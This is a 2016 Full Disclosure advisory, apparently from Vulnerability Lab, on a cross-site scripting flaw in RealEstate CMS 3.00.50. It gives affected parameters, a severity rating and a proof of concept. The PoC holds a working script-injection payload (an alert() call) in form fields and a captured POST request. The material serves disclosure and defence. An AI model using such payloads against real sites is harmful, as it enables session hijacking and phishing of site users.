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[FD] RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability

Document Title:
===============
RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1949


Release Date:
=============
2016-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
1949


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
RealEstate CMS is a web portal script designed for realty agents , realtor or 
brokers to sell , buy , trade , rent and letting their client's property 
through online. It is a web based Content Management System integrated web 
application platform developed in php, mysql used by real estate companies 
to promote properties. Feature-rich, SEO-friendly, easy to use interface with 
Protected admin area to create.
 
(Copy of the Vendor Homepage: http://www.script4realestate.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a cross site 
scripting vulnerability in the official RealEstate v3.00.50 content management 
system.


Vulnerability Disclosure Timeline:
==================================
2016-10-06:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the 
official Realestate v3.00.50 content management system.
The vulnerability allows remote attacker to inject own malicious script codes 
on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the search 
engine. The web vulnerability could allows an attacker 
to execute javascript in the web-browser of the user or administrator to 
compromise session credentials. The injection point of the  
vulnerability is in the `Add` function with the `property_name`, 
`property_price` and `post_code` parameters. The execution point 
occurs in the the search module of the content management system. The request 
method to inject is POST and the attack vector of the 
issue is located to the client-side of the web-application.

The security risk of the web vulnerability is estimated as medium with a cvss 
(common vulnerability scoring system) count of 3.1. 
Exploitation of the client-side vulnerability requires no privileged 
web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in non-persistent 
phishing, session hijacking, non-persistent external redirect 
to malicious sources and client-side manipulation of affected or connected web 
module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] property_name
[+] post_code
[+] property_price


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user 
account and with low or medium user interaction.
For security demonstration or to reproduce the web vulnerability follow the 
provided information and steps below to continue.


PoC: Source
<div class="form-group">
  <label>Post Code:</label>
    <input type="text" name="post_code" id="post_code" placeholder="Any" 
value="'"/>></script><script>alert("vulnerabilitylab")</script>" 
class="form-control">
    <input type="hidden" name="block_search" value="search" /></div>
<div class="form-group">
    <input name="property_name" id="property_name" operator="contains" 
type="text" placeholder="Property Name"
        value="'"/>></script><script>alert("vulnerabilitylab")</script>" 
class="form-control"/></div>
<script type="text/javascript">
    {field: "property_price", operator: $("#property_price").attr('operator'), 
value: ""'"/>></script><script>alert("vulnerabilitylab")</script>"},
</script>


--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: realestate.localhost:8000/
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://realestate.localhost:8000/
Cookie: PHPSESSID=8897722dac6adcebc9a966069e91ea83; 
__unam=6aaa37b-1570a42f57e-507aafb3-2; 
__utma=261436815.141070340.1473345943.1473345943.1473345943.1; 
__utmb=261436815.2.10.1473345943; __utmc=261436815; 
__utmz=261436815.1473345943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 529
block_search=search&property_name='"/>></script><script>alert("vulnerabilitylab")</script>&post_code='"/>></script><script>alert("vulnerabilitylab")</script>&category_id_arr%5B%5D=any&property_type=any&property_price='"/>></script><script>alert("vulnerabilitylab")</script>&property_price-gte=any&property_price-lte=any&feature_room_no-gte=any&feature_bathroom-gte=any&country_id=227&state_id=any&area_id=any&property_owner=any

Note: There is not filter validation or csrf token in use to prevent 
exploitation in case of a performed POST method request with non-expired 
session credentials.


Reference(s):
http://realestate.localhost:8000/


Security Risk:
==============
The security risk of the client-side post inject web vulnerability in the 
search module is estimated as medium. (CVSS 3.0)


Credits & Authors:
==================
ZwX -  (http://zwx.fr/)  )[http://www.vulnerability-lab.com/show.php?user=ZwX]


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=========================
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